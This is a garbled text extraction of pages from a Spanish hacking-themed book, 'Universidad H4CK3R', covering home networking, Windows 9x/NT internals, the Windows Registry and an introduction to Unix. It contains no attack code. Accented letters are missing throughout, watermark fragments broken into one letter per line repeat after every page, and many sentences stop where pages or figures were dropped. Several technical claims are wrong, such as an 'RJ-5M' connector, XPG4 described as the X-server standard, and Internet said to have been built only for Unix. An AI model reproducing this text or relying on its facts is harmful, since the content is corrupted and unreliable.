datos de un lado a otro. Pero los paquetes TCP y UDP estn ms relacionados con la
aplicacin o servicio que va a enviar o transmitir datos. Cada uno de estos servicios est
relacionado con un numero llamado puerto. Por ejemplo, en cualquier servidor, el puerto
TCP 80 proporciona el servicio HTTP, mientras que el puerto UDP 53 puede proporcionar
un servidor DNS.
- DNS
El Domain Name Server traduce un nombre fcil de recordar en un nmero de IP. Por
ejemplo, supongamos que la IP de un servidor en Internet es 200.167.208.1, DNS puede
49
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
para la instalacin. Elija siempre para instalar los controladores originales que vinieron
con la tarjeta. Windows terminara la instalacin y luego slo tiene que repetir el proceso
en el otro equipo. Despus de decidir donde sern ubicadas las mquinas, es hora de
conectar los cables para completar la red fsica.
Como se trata de una conexin entre dos ordenadores, utilice el cable conocido como
cross-over. Los cables de red tienen pequeos cables que deben ser dispuestos en una
secuencia determinada para que haya intercambio de datos, en el caso de cross-over, es
preciso invertir algunos de esos hilos. Las tiendas de informtica venden estos cables ya
listos, pero si quieres aprender a montarlos, observar en la tabla a continuacin la
secuencia correcta de pinzamiento, recordando que el conector (extremo del cable) debe
ser RJ-5M:
Ahora, slo tiene que configurar los equipos para establecer una conexin de red.
Atencin! Nunca use un cable cruzado en una red con hubs, puede daar el equipo.
Configuracin de la red
Con todo el hardware completamente instalado viene la hora de configurar las
computadoras. Para montar la red, vamos a utilizar el protocolo TCP/lP visto antes,
porque es ms flexible y confiable. La configuracin de la direccin IP queda a criterio de
quien este montando la red, debido a que Windows puede asignar automticamente una
direccin IP para cada equipo, si lo desea. En el ejercicio, asignaremos manualmente las
direcciones IP.
- Windows 9.x
En primer lugar, debe utilizar la banda de direcciones IP que se reservan para las redes
domsticas. Este nmero est comprendido entre 192.168.0.1 y 192 168 255 254
Adems, las direcciones de cada micro deben ser diferentes para que no haya conflicto
entre los dos. Tambin hay que comprobar si el protocolo TCP/lP est instalado. Para
ello, abra el Panel de control y vaya a "Red", si el protocolo no aparece en la ficha
"Configuracin", debe instalarlo. Aproveche esta oportunidad para instalar el "Cliente para
redes Microsoft" y "Compartir impresoras y archivos para redes Microsoft". As clique en el
botn "Compartir impresoras y archivos" y marca "Me gustara que otros usuarios tengan
acceso a mis archivos".
Despus de decidir el nmero de IP, es hora de seguir adelante. Vuelva a abrir el icono de
red del Panel de control, seleccione el protocolo TCP/lP y haga clic en el botn
51
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Propiedades. Se abrir una nueva ventana, a continuacin, haga clic en la "direccin IP"
y marque la opcin "Especificar una direccin IP" entrar en el campo con el nmero IP de
su eleccin y en el campo de la mscara de subred, se debe poner el siguiente nmero:
255.255.255.0.
Ahora tenemos que identificar el equipo y el grupo de trabajo para este, clique en
"identificacin" en la ventana de las redes. Recordando que el nombre de los equipos
puede ser diferente, pero el grupo de trabajo debe ser el mismo. El ordenador se
reiniciar, pero esta vez se le pedir una contrasea y un nombre de usuario a la red.
Bueno, si ambos equipos estn conectados y configurados correctamente, usted debe
tener la red funcionando sin problemas. Para compartir una carpeta, basta con hacer clic
en el botn derecho del ratn y acceder a las opciones de carpeta que desee compartir.
52
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Plataforma
Windows
Capitulo 3
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
A menudo se dice que ms del 90% de los ordenadores destinados al usuario final, ya
sea en negocios o en el hogar, tienen instalado un sistema Microsoft Windows. Estas
cifras pueden ser cuestionadas, pero es innegable que la empresa saco provecho de la
usabilidad (y de marketing!) para hacer creer al usuario y al desarrollador de software que
Windows es la nica opcin de sistema operativo para los novatos.
Hoy la realidad es incluso un poco peor. La gente compra sus ordenadores en los
supermercados con Windows instalado de fbrica y creen que el programa es una parte
intrnseca de la mquina. Ellos no necesitan pensar en opciones. Al igual que se compran
un coche con volante, ahora se compran ordenadores con el sistema del gigante de
Redmond.
"Las familias" de Windows
Hay dos corrientes de desarrollo de Microsoft Windows, formando dos plataformas
completamente diferentes internamente, pero que conserva el mismo aspecto exterior.
- Familia Win9x
Compuesta por Windows 95, Windows 98 y Windows Me, esta familia se caracteriza por
tener un ncleo basado, en parte, en el antiguo MS-DOS y, por eso, tener compatibilidad
con software viejo. Tambin por eso tienen algunas limitaciones.
La familia de Windows 9x es una versin reescrita casi por completo de Windows 3, que
no era precisamente un sistema operativo. Windows 3 fue considerado por algunos como
una simple interfaz grfica que corra sobre MS-DOS. Los autores estn de acuerdo con
esa afirmacin en parte. Windows 3 tenia caractersticas largamente deseadas por los
usuarios y que estaban presentes desde hacia algunos aos en los sistemas Macintosh,
tales como el procesamiento multitarea y mejor administracin de memoria. El usuario
poda interactuar con el sistema utilizando un dispositivo sealador, ratn. Eso permita no
tener que recordar decenas de comandos para llamar a sus programas y administrar sus
archivos. De hecho, podemos decir que el conjunto de MS-DOS+Windows 3 debera ser
considerado un sistema operativo completo.
Windows 95 fue un paso adelante. La API (Application Programming Interfaces - una
especie de "toma" del sistema operativo en el que se ajustan los programas) fue
completamente remodelada. Pero el ncleo del sistema era un "Frankenstein", que
contena varias caractersticas nuevas introducidas en una versin actualizada del antiguo
MS-DOS, ahora completamente oculto. Las versiones posteriores (Windows 98, Windows
98 SE y Windows Me) todava llevaban versiones (siempre actualizadas, es cierto) de ese
ncleo. Como el MS-DOS era monotarea, convertirlo en un sistema multitarea como
Windows requera varios works-arounds y programas externos que se ejecutaran en la
zona de usuario, ejecutando tareas que seran del Kernel. La gestin de memoria es un
ejemplo. Tal vez esto explica la inestabilidad conocida de estos sistemas, especialmente
errores del tipo GPF. La adopcin de MS-DOS como punto de partida para el desarrollo
de nuevas versiones de Windows tenia, sin embargo, la ventaja de ofrecer compatibilidad
de software y hardware antiguo.
54
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Familia WinNT
Se trata de los sistemas operativos Windows NT, Windows 2000 y Windows XP (Aunque
Microsoft public que el sistema Windows 2000 es una reescritura completa, esta basada en Windows NT,
se sabe de fuentes no oficiales que todava tiene mucho sin tocar del NT original. Windows XP, por el
contrario, tiene partes de Windows 2000 y Windows Millennium Edition, para garantizar la compatibilidad
con los antiguos programas del usuario. Lo que significa que todava hay tecnologas NT, Win9x e incluso el
antiguo MS-DOS en ella.).
Pero no todo eran flores. El kernel de Windows NT era muy diferente del kernel de la
familia Win9x. Romper la compatibilidad entre los sistemas operativos significaba romper
55
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Internamente, las dos familias de productos de Windows son muy diferentes, aunque hay
una capa de compatibilidad para que ambas plataformas puedan compartir los mismos
controladores y perifricos, los conocidos como controladores de dispositivos (Device
drivers). La familia NT incluso, tiene un software de capa de compatibilidad que permite al
56
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
sistema operativo implementar con xito programas diseados para la familia Win9x e
incluso para patrones extraos como Unix/POSIX, Windows de 16-bit y OS/2 de IBM.
57
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
59
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Por ltimo, el WDM (Win32 Driver Model) es una capa de traduccin entre los
controladores de dispositivo y el ncleo. Engaa al driver, hacindole pensar que est
instalado en el kernel de Windows NT. Con esto, los fabricantes de hardware pueden
desarrollar los drivers que trabajan en ambas plataformas por igual.
La capa del sistema operativo ms prxima al hardware es la de los controladores de
dispositivos. Consisten en dos tipos complementarios de drivers, Universal y Mini. Vea la
ilustracin:
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
A diferencia de los sistemas operativos ms antiguos, como el Unix original y los sistemas
de mainframes, el kernel de Windows NT, y derivados, no es monoltico. En lugar de
llevar todos los tipos de controladores de dispositivos imaginables dentro de la "nuez",
Windows utiliza el concepto de un microkernel, un ncleo con slo los servicios ms
crticos y esenciales que pueden ser complementados con programas de ayuda externa.
La mayora de estos programas externos se ejecutan en modo usuario, dejando en el
modo kernel slo los servicios de ms bajo nivel y alta prioridad. Estos servicios se
dividen en cinco componentes principales. El primero es el GDI, que controla los
dispositivos de pantalla de manera similar a la familia de Windows 9x.
Los otros cuatro elementos - Windows Ejecutivo, kernel, controladores de dispositivo y
HAL estn tan estrechamente interrelacionados que aparecen en el mismo marco en
nuestro diagrama. El Ejecutivo es el hogar de varios mdulos de interfaz entre el kernel y
los dems componentes, tanto para el usuario y los programas como para el hardware podra ser considerado un "shell" del kernel. Los controladores de dispositivo, trabajan de
forma muy similar a la familia de Windows 9x, con arquitectura basada en WDM y VxD.
Por ltimo, el Hardware Abstraction Layer o HAL, proporciona una capa de abstraccin
para el ncleo.
El principio de funcionamiento de la HAL es muy similar al modelo de Universal/minidriver. El HAL "engaa" al kernel de Windows, hacindole creer que el hardware es
61
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Observe las similitudes y diferencias entre este diagrama y el de la familia Windows 9x.
Dentro de Executive, tenemos un modulo VMM con funcin idntica a la de Windows 9x.
Otros tres mdulos Gerenciador de objetos, de procesos y de llamadas de sistema
atienden la gestin de instancias de procesos y mtodos para el kernel. Un nuevo mdulo
es el administrador de referencia de seguridad, que proporciona servicios de autenticacin
y seguridad para los subsistemas externos. Recuerde que la familia NT es realmente
multiusuaria y, por eso, necesita de rutinas de autenticacin y control de acceso. El ultimo
modulo, llamado administrador E/S (I/O Manager), aade los servicios de E/S de Windows
para dispositivos de hardware, comunicacin externa (serial y redes) y principalmente con
los dispositivos de almacenamiento (discos y cintas).
Los varios subsistemas que ruedan en modo usuario controlan la creacin de maquinas
virtuales para las aplicaciones de los usuarios. Note que hay un subsistema exclusivo
para la seguridad, que presenta los dilogos de autenticacin para que los usuarios se
comuniquen con el administrador de referencia de seguridad del ncleo del sistema para
permitir o denegar su acceso.
Quema unas pocas neuronas e intenta descubrir como funciona cada uno de los mdulos
62
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
mostrados y como se integra con los otros. Busca en Internet hasta encontrar datos sobre
cada uno de ellos, sin olvidarte de ninguno. Despus de eso, deje el libro, levntese,
salga de casa y vaya a ver gente. Quizs, ha tomar una cerveza...
- Entidades
Windows es un sistema operativo basado en eventos. Por eventos, nos referimos a
cualquier actividad de cualquier hardware (por ejemplo, moviendo el ratn), o las seales
de los programas (cuando se cierra una ventana).
Windows tiene tres entidades principales: los programas, ventanas y mensajes. Los
programas son aplicaciones que usa la gente: Editor de textos, Calculadora, Solitario o el
emulador de terminal. Cada programa tiene una o ms ventanas. El usuario se comunica
con los programas a travs del sistema operativo, que utiliza para ello mensajes. Cada
programa se comunica con sus muchas ventanas tambin a travs de mensajes.
Los programas se componen de uno o ms archivos. Los tipos ms comunes de archivos
en programas para Windows es el ejecutable, de extensin EXE (partes del cdigo
especfico para ese programa), DLL (biblioteca compartida de funciones) y, ms
recientemente, los controles ActiveX (un tipo especial de DLL que contiene las
extensiones multimedia).
Los archivos DLL son componentes importantes en los sistemas Windows. Acrnimo de
Dynamic Link Libraries, son bibliotecas de funciones que pueden ser accedidos por
cualquier aplicacin. Adems de reducir el tamao de los archivos EXE, los archivos DLL
permiten que varios programas compartan el mismo rasgo o caracterstica. Por ejemplo,
todas las aplicaciones de Windows tienen la misma apariencia debido a un archivo DLL
en particular GDI.DLL, que maneja la interfaz grfica de usuario. Prcticamente todo el
kernel de Windows se basa en archivos DLL. Los programadores tambin pueden utilizar
las funciones del Microsoft Foundation Classes para facilitar su trabajo. El MFC se
encuentran en una DLL llamada MFC.DLL.
Los programas generan varias ventanas. Adems de la representacin visual, las
ventanas son entidades en s mismas, llevan decenas, a veces cientos, de campos de
informacin: los colores, tamao de la ventana, tamao del borde, la posicin de los
objetos dentro de la ventana, etc. Uno se llama handle, que identifica el programa que
cre la ventana. Otro campo es el identificador de ventana que identifica la ventana con
un solo nmero (diferente de cero) en el sistema. Un tercer campo de inters es Z-order.
A partir de el, el sistema fija el orden de visualizacin de ventanas.
Para la comunicacin entre el sistema operativo y, los programas y sus ventanas, se
emiten mensajes entre ellos. Un mensaje no es ms que una estructura de datos
pequeos. Por lo general, esto incluye:
Marca de tiempo (hora en que se public) el mensaje
Identificador de mensaje
Identificador de la ventana (handle ventana)
Dos o ms campos al mensaje en s mismo
El identificador de mensaje le dice a la ventana del programa el asunto del mensaje. Los
63
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
del hardware y software, y USER.DAT que se ocupa de los ajustes personales para cada
usuario. Windows Millennium Edition tambin tiene un tercer archivo llamado
CLASSES.DAT, que almacena cierta informacin sobre los programas y las asociaciones
de archivos. Los archivos SYSTEM.DAT y CLASSES.DAT, son nicos, y siempre estn
en el directorio C\WINDOWS. Siempre hay un USER.DAT en ese directorio, tambin. Sin
embargo, si su sistema est configurado para permitir perfiles, cada usuario tendr su
propio USER.DAT en el directorio C\WINDOWS\Perfiles\<nombre de usuario>\,
obteniendo el archivo desde el directorio de Windows por defecto. Cuando el usuario
inicia una sesin, su espacio de trabajo personalizado que se lee y se carga. Si el uso de
perfiles de usuario estn deshabilitados, todos los usuarios comparten las mismas
preferencias registradas en C\WINDOWS\UserData.
La familia WinNT (incluyendo Windows 2000) mantiene todos los archivos de registro en
% systemroot%\System32\Config. A diferencia de Windows 9x, seis archivos albergan los
archivos del registro de la familia NT: DEFAULT.DAT, SAM.DAT, SECURlTY.DAT,
SOFTWARE.DAT, SYSTEM.DAT, NTUSER.DAT. Los archivos que contienen el registro
son llamados Hives.
A pesar de las diferencias fsicas, los registros de las dos familias son muy similares.
Ambos residen en archivos binarios, se basan en elementos simples, que consiste en un
par "name = datos", est organizado en cinco o ms secciones principales, llamadas
Root Keys (o HKEY) y no se pueden editar directamente, es necesario el uso de
programas especiales para ello. Hay varias herramientas que pueden utilizarse para ver y
editar el Registro. El ms simple es el Editor del Registro (REGEDIT.EXE), incluido en
Windows. Vamos a utilizar RegEdit para "urgar"un poco en nuestro sistema.
- La estructura del Registro
Para organizar mejor los datos en el registro, hemos adoptado una estructura jerrquica.
Por eso, esta estructura se asemeja a la organizacin de directorios y subdirectorios - o,
usando la terminologa de Microsoft, carpetas y subcarpetas. El RegEdit se aprovecha
de esto y muestra esta estructura muy similar a como el Explorador de Windows muestra
el contenido del disco duro.
66
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Tenga en cuenta que los datos estn organizados en seis grupos principales, cuyos
nombres comienzan con las letras HKEY Cada uno de estos grupos se denomina clave
de seccin o de raz y puede contener los valores llamados claves. Por ejemplo, en la raz
clave HKEY_USERS del ejemplo anterior, hay una tecla llamada. DEFAULT y otra
llamada Software. Las claves pueden tener, el par nombre/valor , llamadas a datos o
otras teclas. Clave Software tiene una subclave denominada Microsoft, que a su vez
posee otra subclave llamada Windows, que a su vez tiene un valor predeterminado. Es
el par nombre/datos quien realmente almacena la informacin en el registro. Hay tres
tipos de valores: String (un valor en texto sin formato), binario (un valor binario - por lo
general los datos de hardware y claves de cifrado para la activacin del software) y
DWORD (por lo general un valor booleano - 1 para activado, 0 para desactivarlo). El uso
de cada uno depende del contexto.
Hay cinco secciones en algunas versiones de Windows y seis en las dems. Cada
seccin tiene una especializacin y contiene la informacin referente a la misma.
HKEY_CLASSES_ROOT - Esta seccin contiene todas las asociaciones de archivos en
Windows. Es a travs de ella que Windows soporta arrastrar y soltar y OLE y le permite
configurar accesos directos en el sistema. Algunos aspectos de la GUI (interfaz grfica de
usuario) tambin se definen en ella. Para eliminar una asociacin, simplemente borre la
clave con la extensin de archivo. Esta Root Key es falsa: de hecho, es una subclave de
HKEY_LOCAL_MACHINE.
HKEY_CURRENT_USER: - Contiene la informacin de usuario que est utilizando
actualmente el sistema. Esta Root Key tambin es falsa: en realidad es un acceso
directo a una subclave en la seccin HKEY_USERS. Cuando termina la sesin, todos los
ajustes de escritorio, el men Inicio de inicio de sesin y las contraseas se guardan en la
clave HKEY_CURRENT_USER para un nico usuario en HKEY_USERS.
HKEY_LOCAL_MACHINE - La informacin utilizable por todos los usuarios
indiscriminadamente esta en esta seccin, incluyendo el hardware y sus drivers, software
instalado, su configuracin y preferencias globales en general.
HKEY_USERS. - Aqu estn las preferencias individuales de cada usuario, que es
representado por una subclave CLSID. Cuando un usuario se "conecta" en el sistema la
configuracin y sus preferencias se copian de aqu a HKEY_CURRENT_USER. Cuando
el usuario da a "desconexin" - y aparece "Guardar configuracin" o "Saving your settings"
- el sistema copia el contenido de la clave HKEY_CURRENT_USER de vuelta a la clave
privada del usuario en HKEY_USERS. Una manera fcil de volver a la configuracin por
defecto de usuario del sistema es borrar la clave de la Root Key.
HKEY_CURRENT_CONFIG - Al igual que en HKEY_CURRENT_USER. Antes de
salvarse en el registro, los cambios sobre la instalacin de hardware y software se
almacenan en esta clave de root, que en realidad slo es un alias para una subclave de
HKEY_LOCAL_MACHINE.
67
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
68
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
contiene datos sobre el Microsoft Installer (MSI), pero usa dos valores CSLID
indescifrables . Navegue un poco por estas dos claves indescifrables y cuando tenga una
visin general del funcionamiento de ambas, vuelva a la lectura del libro.
Con estos fundamentos entendidos, el Registro de Windows ya no tiene que ser un
misterio tan oscuro para el lector. Como "trabajo de casa", se sugiere el estudio (con el
RegEdit) de las siguientes claves:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ EventSystem
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Multimedia
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Shared Tools
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Outlook Express
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Updates
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \
- App paths
- Control panel
- Controls Folders
- Explorer
- Installer
- Policies
- Run (todos los programas cargados en las botas)
- RunOnce (programas cargado una sola vez)
- RunOnceEx (programas cargados slo una vez y despus excluidos)
- Setup
- SharedDLLs (MUY importante!)
- Uninstall
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet
HKEY_LOCAL_MACHINE \ SYSTEM \ MountedDevices
HKEY_LOCAL_MACHINE \ SYSTEM \ Setup
Recordando siempre que tomamos como punto de partida el registro de Windows XP. Si
el lector tiene otra versin de Windows, ser interesante buscar las mismas claves, en el
Registro, para conocer las diferencias y similitudes
Dnde, amigo?
En un libro como ste no hay espacio para profundizar ms. Afortunadamente, Internet
ofrece algunos recursos para los que quieren o necesitan saber ms sobre la estructura
de los sistemas operativos de Microsoft.
Un buen punto de partida es el TechNet (www.microsoft.com/technet). Sitio Web de
Microsoft dirigida a tcnicos y programadores. En la pgina principal estn los enlaces a
las ltimas tecnologas de la compaa, como Windows XP, Vista y la plataforma NET. Sin
embargo, puede utilizar el motor de bsqueda de la propia web para encontrar cualquier
informacin sobre cualquier producto. Con un poco de investigacin se puede aprender,
por ejemplo, los detalles de la estructura interna del ncleo de Windows 98 o diferencias
entre los registros de Windows 95 y Windows NT. Tambin se pueden encontrar las
especificaciones de cosas muy antiguas, como MS-DOS y LAN Manager.
Otros sitios que pueden tener informacin sobre las plataformas de Microsoft son el sitio
principal de la compaa (www.microsoft.com). la WinGuides (www.winguides.com) y
TechRepublic (www.techrepublic.com). No deje de visitarlos. Hay mucha informacin
recopilada en esos sitios.
71
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Plataformas
UNIX
Capitulo - 4
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
No somos nosotros los que lo decimos, pero si Netcraft (www.netcraft.com): El 66% de los
servidores Web de Internet ejecutan algn tipo de Unix. Esta inmensa mayora de sitios
que honran al veterano salido de los laboratorios de AT & T en los aos 60, no lo hacen a
la ligera. Mientras que en las mquinas de escritorio (las que estn en la parte superior de
su mesa en el trabajo o en casa) se considera a Microsoft Windows el estndar de facto,
en servidores de Internet no hay mucha discusin sobre el sistema operativo utilizado.
Unix es un sistema con ms de 30 aos en la carretera. Robusto, ligero y porttil, se ha
reducido desde su lanzamiento en 1969, y a pesar de ser ya bastante antiguo, est
siempre al da con las innovaciones tecnolgicas. Por ser el sistema mas utilizado, es
tambin el mas atacado. El hecho de funcionar como el motor de las dos terceras partes
de los sitios web en el mundo, y an as, ser mucho menos invadido que cualquiera sus
adversarios, demuestra la fiabilidad de este sistema. El inconveniente es que, por ser tan
fiable y potente, es tambin el sistema operativo ms usado para dirigir ataques, sea cual
sea el objetivo.
Sistemas operativos Unix
Es interesante el poder de los medios de comunicacin. Cuando se trata de La Bella y la
Bestia, nadie se acuerda de la pelcula de Cocteau, considerada una de las obras
maestras del cine francs. Mucho menos de Jeanne Marie Leprince de Beaumont, una
investigadora que en el siglo 18 encontr muchos cuentos sobre el tema medieval y los
recopilo, tejiendo la historia que conocemos hoy en da. En cambio, la gente slo recuerda
la caricatura publicada recientemente por un estudio importante de EE.UU.
Cuando se trata de sistemas operativos se tiene el mismo problema. En la memoria de
todos, slo prevalecen los sistemas ms modernos, aunque estn menos optimizados y
menos preparados para servicios de red y de misin crtica. Sin embargo, en todo el
mundo, millones de administradores de red utilizan una variante de Unix para resolver
problemas que con otras plataformas ni se les ocurrira encarar.
El sistema Unix puede ser considerado tanto una bestia, como una bella. Internet no
existira sin los sistemas Unix - de hecho, Internet fue creado para conectar SOLO
sistemas Unix. Incluso hoy en da, como dan fe los datos de Netcraft, la mayora de
servidores web en el mundo emplea alguna variante de Unix, y hay esfuerzos para que
Unix o sistemas similares se utilicen en estaciones de trabajo de oficina o incluso en
dispositivos mviles como telfonos celulares y palmtops.
Hay belleza en los sistemas Unix. Su estructura rgida y bien montada parece, a los ojos
de sus usuarios, como un poema maravilloso. El poder del fuego que este sistema da a
quien lo domina llega a ser txico. Por su origen en los laboratorios de investigacin y en
su entorno de desarrollo, Unix tiene varias herramientas para administradores de sistemas
redes, y programadores. Tambin por ese origen, hay una comunidad enorme y fraternal
de usuarios que intercambian experiencias y se ayudan mutuamente. Las grandes
empresas que fabrican o proporcionar soluciones basadas en Unix formaron un consorcio
y definen una serie de estndares que aseguren la interoperabilidad y la conectividad.
Unix se considera, exactamente por eso, un sistema abierto.
S, Unix es hermoso. Pero, hermoso como un gran felino. Domarlo requiere una
73
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.multicians.org. Un ensayo sobre la forma en que Unix se inspir en MULTICS se puede ver en
www.muIticians.org/unix.htmI.) (No hay espacio aqu para mencionar la interesante historia de Unix. Uno de los
mejores documentos sobre los primeros das, escrito por Dennis Ritchie, se puede encontrar en "cm.belllabs.com/cm/cs/who/dmr/hist.htmI. Adems de lugares de inters histrico, describe los acontecimientos que
condujeron a la mirada de Unix, como lo es hoy.)
74
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Slo en 1971, Unix es considerado un sistema operativo terminado. Hasta ese ao, se
desarrollaron muchas tecnologas para que el "beb-unix" viniera al mundo. Una de ellas
era el lenguaje C, desarrollado por Dennis Ritchie del lenguaje B de Thompson. Unix ha
sido completamente reescrito en C y por lo tanto puede ser portado a cualquier mquina:
basta con volver a compilarlo. El concepto de la portabilidad es el principal activo de Unix
hasta hoy y abri nuevos horizontes para la computacin. En 1977, el sistema operativo
Unix fue lanzado comercialmente y, desde entonces, ha sido usado en sistemas tan
diversos como dispositivos de mano y supercomputadoras Cray.
En este libro, usamos la palabra Unix indiscriminadamente, nos referimos a cualquier
variacin, o "sabor", de sistemas basados en el Single Unix Specification, que incluye los
estndares POSIX, ANSI C y XPG4. Otros autores utilizan nomenclaturas como,*nix
u*ix y Unix-like. UNIX es una marca registrada de The Open Group (www.unixsystems.org). "Unix-like" indica que los sistemas se parecen a un sistema Unix, pero
oficialmente no lo son (como GNU/Linux y FreeBSD).
- POSIX
Los tres documentos que forman el superconjunto Single Unix Specification se aplican a
diferentes partes del sistema. ANSI C es el estndar para el lenguaje de programacin, se
recomienda para el desarrollo de los sistemas Unix y se puede encontrar en
(www.ansi.org). XPG4 es ya el estndar para la implementacin del servidor X, el
programa central para las aplicaciones grficas en Unix. La informacin sobre el pliego de
condiciones, el servidor X y el Consorcio X se puede obtener de (www.x.org).
Pero hay una ms importante que las otras dos. Todos los Unix que se precien debe
necesariamente cumplir con POSIX, un estndar mantenido por diversas entidades: IEEE
y Open Group en los EE.UU., y la ISO/CEI en Europa. En l se definen las llamadas al
sistema, es decir, los mensajes y las seales de que los procesos intercambian entre
ellos. Se puede comparar con los mensajes de Windows que vimos en el captulo anterior,
pero las llamadas al sistema Unix son mucho ms numerosas, especializadas y
modulares.
- Decenas de sabores para elegir
Tal vez el lector saba ha lo que nos estbamos refiriendo a cuando dijimos que Unix es
un sistema operativo de cdigo abierto. Mas aun, cuando hemos dicho que haba varios
"sabores" disponibles. Pero Unix es un sistema operativo y no un helado. Que quiere
decir sabor?
Al ser un estndar abierto, el Single Unix Specification permite que muchos fabricantes
tengan su propia implementacin. A pesar de ser muy diferentes en algunos casos,
todava se consideran nicos porque se adhieren al estndar Unix. De hecho, podemos
mencionar algunos desarrolladores de software que tienen versiones del sistema:
Sun Microsystems, con su Solaris;
IBM con AIX;
SGI e IRIX ;
BSDi con la implementacin BSD y la versin gratuita FreeBSD;
75
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Hewlett-Packard y su HP-UX;
La propia Microsoft y el Xenix;
Y la familia GNU/Linux.
Citamos slo los ms populares. Existen muchas otras implementaciones de Unix,
comerciales o no. Lo que llamamos "familia GNU/Linux" es una coleccin de cientos de
distribuciones diferentes del sistema operativo de cdigo abierto, cada uno con su propia
idiosincrasia.
Por qu tanto alboroto? En los aos 80, cuando se desarrollaron muchas distribuciones
comerciales, cada fabricante creo sus propios estndares y "arrimo el ascua a su
sardina". Los Unix se volvieron tan diferentes entre si, que al final no eran interoperables.
Una red heterognea era imposible entonces, y ahora el estndar de Unix intenta acabar
con esas diferencias.
Las entraas de la bestia
Todas las recomendaciones que hemos hecho en el captulo anterior tambin se aplican a
este (y a todos los posteriores - Io repetiremos varias veces, casi como un lavado de
cerebro ...). Un pirata que se precie debe saber acerca de los sistemas Unix, incluso
odindolo. Es posible que despus de leer este captulo, anteriores detractores cambien
de religin y comiencen a rezar en la iglesia de Ken Thompson. Pero lo crean o no, los
sistemas Unix ser sin duda parte de su vida ciberactivista.
- Estructura
La familia de sistemas operativos
Unix puede, para fines didcticos,
dividirse en partes clasificadas por
su funcin: Kernel (central o
ncleo), shell (concha o cascara)
y los programas de usuario
(aplicaciones y herramientas).
Como este enfoque es muy similar
a la definicin de sistema
operativo, se puede usar un
esquema simplificado de capas
para demostrarlo.
Estos tres componentes
principales hacen uso de una
estructura fsica universal llamada
sistema de archivos. Antes de
entrar en detalles sobre el shell,
las llamadas al sistema, los
procesos y el Kernel, vamos a bucear un poco en esta infraestructura en la que se basan
todos los Unix . Son necesarios algunos fundamentos y comandos de shell para seguirlo.
76
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Sistema de archivos
Microsoft Windows tiene una estructura bsica de directorios. Esto, existe como
consecuencia de la estructuracin del sistema, no como causa. Los archivos de sistema
relevantes estn libremente organizados en el directorio Windows (o WinNT) y
subdirectorios dentro de l. Incluso partes de Kernel se organizan en archivos separados,
mezclados con cientos de archivos distintos en C/WlNDOWS. El gran agente aglutinador
del sistema operativo microsoftiano es el Registro del Sistema.
El Unix, en cambio, se estructuran desde el sistema de archivos. Cualquier cosa que
pueda ser manipulada en el sistema es tratada como un archivo. Esto incluye los
dispositivos de hardware (como la tarjeta de sonido o puerto de impresora), procesos en
ejecucin, y por supuesto, los archivos comunes. Puede, por ejemplo, copiar un MP3
